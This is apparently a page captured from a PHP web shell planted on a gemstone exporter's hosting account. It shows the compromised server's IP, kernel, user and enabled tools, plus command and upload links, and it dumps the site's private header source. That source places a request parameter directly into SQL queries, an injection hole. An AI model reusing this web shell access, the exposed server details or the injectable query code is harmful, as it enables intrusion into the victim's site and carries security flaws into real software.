Server IP : 103.53.40.154 / Your IP : 3.137.169.56 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/semipreciousslab.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php ob_start(); require_once("includes/dbsmain.inc.php"); $page_name=basename($_SERVER['PHP_SELF'],'.php'); include("site-main-query.php"); if($compDATA['admin_site_down']=='Yes'){ header("location:site-down.php"); exit; } $site_url=$compDATA['admin_website_url']; $author = str_replace("http://","","$site_url"); $prdct_name=$_REQUEST['cat_name']; $catgoryID=db_scalar("select category_id from tbl_category where 1 and category_url='$prdct_name'"); //************ To Fetch Page Heading ****************// $pgHeading=db_scalar("select site_pages_name from tbl_site_pages where 1 and site_pages_status='Active' and site_pages_link='$page_name'"); ?> <?php function query($pid){ $query = mysqli_query("select * from tbl_category where 1 and category_parent_id='$pid' and category_status='Active' order by category_order_by asc"); return $query; } function has_child($query){ $numRows = mysqli_num_rows($query); if($numRows > 0){ return true; }else{ return false; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> <meta name="robots" content="index, follow" /> <?php if(!empty($catgoryID)){ $meta_pro_name=db_scalar("select category_name from tbl_category where category_status='Active' and category_id='$catgoryID'"); $meta_pro_title=db_scalar("select category_meta_title from tbl_category where category_status='Active' and category_id='$catgoryID'"); $meta_pro_desc=db_scalar("select category_meta_description from tbl_category where category_status='Active' and category_id='$catgoryID'"); $meta_pro_keyw=db_scalar("select category_meta_keywords from tbl_category where category_status='Active' and category_id='$catgoryID'"); if($meta_pro_title=="") { $meta_pro_title="$meta_pro_name Exporter in Kishangarh Ajmer Rajasthan India"; } if($meta_pro_keyw=="") { $meta_pro_keyw="$meta_pro_name Exporter in Kishangarh Ajmer Rajasthan India, Exporter of $meta_pro_name in Kishangarh Ajmer Rajasthan India, best company of $meta_pro_name in Kishangarh Ajmer Rajasthan India, $meta_pro_name companies in Kishangarh Ajmer Rajasthan India, best exporter of $meta_pro_name in Kishangarh Ajmer Rajasthan India"; } if($meta_pro_desc=="") { $meta_pro_desc="Divya Gem Stonex is the best Exporter of $meta_pro_name in Kishangarh Ajmer Rajasthan India. we export $meta_pro_name in reasonable cost. "; } ?> <title><?=$meta_pro_title?></title> <meta NAME="description" content="<?=$meta_pro_desc?>" /> <meta NAME="keywords" content="<?=$meta_pro_keyw?>" /> <? }else{?> <title><?=db_scalar("select site_pages_meta_title from tbl_site_pages where site_pages_status='Active' and site_pages_link='$page_name'")?></title> <meta NAME="description" content="<?=db_scalar("select site_pages_meta_description from tbl_site_pages where site_pages_status='Active' and site_pages_link='$page_name'")?>" /> <meta NAME="keywords" content="<?=db_scalar("select site_pages_meta_keyword from tbl_site_pages where site_pages_status='Active' and site_pages_link='$page_name'")?>" /> <? }?> <meta name="revisit-after" content="3 days"/> <meta name="copyright" content="<?=$compDATA['admin_company_name']?>"/> <meta name="distribution" content="global"/> <meta name="language" content="english"> <meta name="author" content="<?=$author?>"> <?php if($compDATA['admin_meta_fb_id']!=''){ ?> <meta property="fb:page_id" content="<?=$compDATA['admin_meta_fb_id']?>" /> <? } ?> <?php if($compDATA['admin_meta_alexa_id']!=''){ ?> <meta name="alexaVerifyID" content="<?=$compDATA['admin_meta_alexa_id']?>"/> <? } ?> <?php if($compDATA['admin_meta_msvalidate_id']!=''){ ?> <meta name="msvalidate.01" content="<?=$compDATA['admin_meta_msvalidate_id']?>" /> <? } ?> <meta name="google-site-verification" content="-ghU_QVlE1_6VwKHxLzpJiFBGfhKWLKFT89PciBKAdU" /> <!-- Google Fonts --> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Oswald:400,700,300" /> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Architects+Daughter" /> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,300" /> <link rel="stylesheet" href="<?=$site_url?>/assets/css/bootstrap.min.css" /> <link rel="stylesheet" href="<?=$site_url?>/assets/css/font-awesome.min.css" /> <link rel="stylesheet" href="<?=$site_url?>/assets/css/flaticon.css" /> <link rel="stylesheet" href="<?=$site_url?>/assets/css/style.css" /> <link rel="stylesheet" href="<?=$site_url?>/assets/css/responsive.css" /> <link rel="stylesheet" href="<?=$site_url?>/assets/css/style-menu.css"/> <link rel="stylesheet" href="<?=$site_url?>/assets/css/ybgpzy.css"/> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-122393507-8"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-122393507-8'); </script> </head> <body> <?php //FETCHING HEADER LOGO AND OTHERS DYNAMICALLY $sql_logo_welcome=db_query("select * from tbl_header where 1"); if(mysqli_num_rows($sql_logo_welcome)>0){ $DATALOGO=mysqli_fetch_array($sql_logo_welcome); @extract($DATALOGO); } ?> <!-- Loader Bloc --> <div class="site-loader"> <div class="loading"></div> </div> <!-- Site Wrapper --> <div id="site-wrapper"> <!-- Header --> <header id="site-header"> <div class="nav-top"> <div class="container"> <div class="row"> <div class="col-sm-12"> <ul> <li><i class="fa fa-envira"></i>TIMING :- Monday to Sunday - 09:00 am - 06:00 pm </li> <li><i class="fa fa-phone"></i><a href="tel:<?=$compDATA['admin_mobile']?>"><?=$compDATA['admin_mobile']?></a></li> <li><a href="mailto:<?=$compDATA['admin_email']?>"><i class="fa fa-envelope"></i><?=$compDATA['admin_email']?></a></li> <?php if( ($compDATA['admin_facebook_link']!='') || ($compDATA['admin_twitter_link']!='') || ($compDATA['admin_gplus_link']!='') || ($compDATA['admin_linkedin_link']!='') ){ ?> <li class="social-bloc"> <?php if($compDATA['admin_facebook_link']!=''){ ?> <a href="<?=$compDATA['admin_facebook_link']?>" target="_blank" class="facebook img-circle"><span class="fa fa-facebook-f"></span></a> <?php }?> <?php if($compDATA['admin_twitter_link']!=''){ ?> <a href="<?=$compDATA['admin_twitter_link']?>" target="_blank" class="twitter img-circle"><span class="fa fa-twitter"></span></a> <?php }?> <?php if($compDATA['admin_gplus_link']!=''){ ?> <a href="<?=$compDATA['admin_gplus_link']?>" target="_blank" class="google-plus img-circle"><span class="fa fa-google-plus"></span></a> <?php }?> <?php if($compDATA['admin_linkedin_link']!=''){ ?> <a href="<?=$compDATA['admin_linkedin_link']?>" target="_blank" class="linkedin img-circle"><span class="fa fa-linkedin"></span></a> <?php }?> </li> <?php }?> </ul> </div> </div> </div> </div> <div class="navbar bgsec" role="navigation"> <div class="container"> <div class="row"> <div class="col-md-5"> <a href="<?=$site_url?>/index.html" title="FoodLover" class="logo"> <img src="<?=$site_url?>/header_files/<?=$DATALOGO['header_logo']?>" alt="<?=$compDATA['admin_company_name']?>" title="<?=$compDATA['admin_company_name']?>"> </a> </div> <div class="col-md-7"> <nav id='cssmenu' class=""> <!--<div class="logo"><a href="index.html">Responsive </a></div>--> <div id="head-mobile"></div> <div class="button"></div> <ul class="navs nv-bg"> <li <?php if($page_name=="index"){?> class='active' <?php }?>><a href='<?=$site_url?>/index.html'>HOME</a></li> <li <?php if($page_name=="about-us"){?> class='active' <?php }?>><a href='<?=$site_url?>/about-us.html'>ABOUT US</a></li> <li <?php if($page_name=="products"){?> class='active' <?php }?>><a href='<?=$site_url?>/products.html'>OUR PRODUCTS</a> <?php $sql="SELECT * FROM tbl_category WHERE category_status='Active' AND category_parent_id='0' ORDER BY category_order_by*1 ASC LIMIT 16"; $dataCat=db_query($sql); $countCat=mysqli_num_rows($dataCat); if($countCat>0){ ?> <ul> <?php while($recCat=mysqli_fetch_array($dataCat)){?> <li><a href="<?=$site_url?>/<?=$recCat["category_url"]?>.html"><?=$recCat["category_name"]?></a> <?php $sqlSub="SELECT * FROM tbl_category WHERE category_status='Active' AND category_parent_id='$recCat[category_id]' ORDER BY category_order_by"; $dataSCat=db_query($sqlSub); $countSCat=mysqli_num_rows($dataSCat); if($countSCat>0){ ?> <ul> <?php while($recSCat=mysqli_fetch_array($dataSCat)){?> <li><a href="<?=$site_url?>/<?=$recSCat["category_url"]?>.html"><?=$recSCat["category_name"]?></a></li> <?php } ?> </ul> <? } ?> </li> <?php } ?> <li><a href="<?=$site_url?>/products.html" style="font-weight:600">View All <i class="fa fa-caret-right" aria-hidden="true"></i></a></li> </ul> <?php } ?> </li> <li <?php if($page_name=="gallery"){?> class='active' <?php }?>><a href='<?=$site_url?>/gallery.html'>Gallery</a></li> <li <?php if($page_name=="catalog"){?> class='active' <?php }?>><a href='<?=$site_url?>/catalog.php'>Catalog</a></li> <li <?php if($page_name=="contact-us"){?> class='active' <?php }?>><a href='<?=$site_url?>/contact-us.html'>contact Us</a></li> <li <?php if($page_name=="enquiry"){?> class='active' <?php }?>><a href='<?=$site_url?>/enquiry.html'>Enquiry</a></li> </ul> </nav> </div> </div> </div> </div> </header> <!-- End Header -->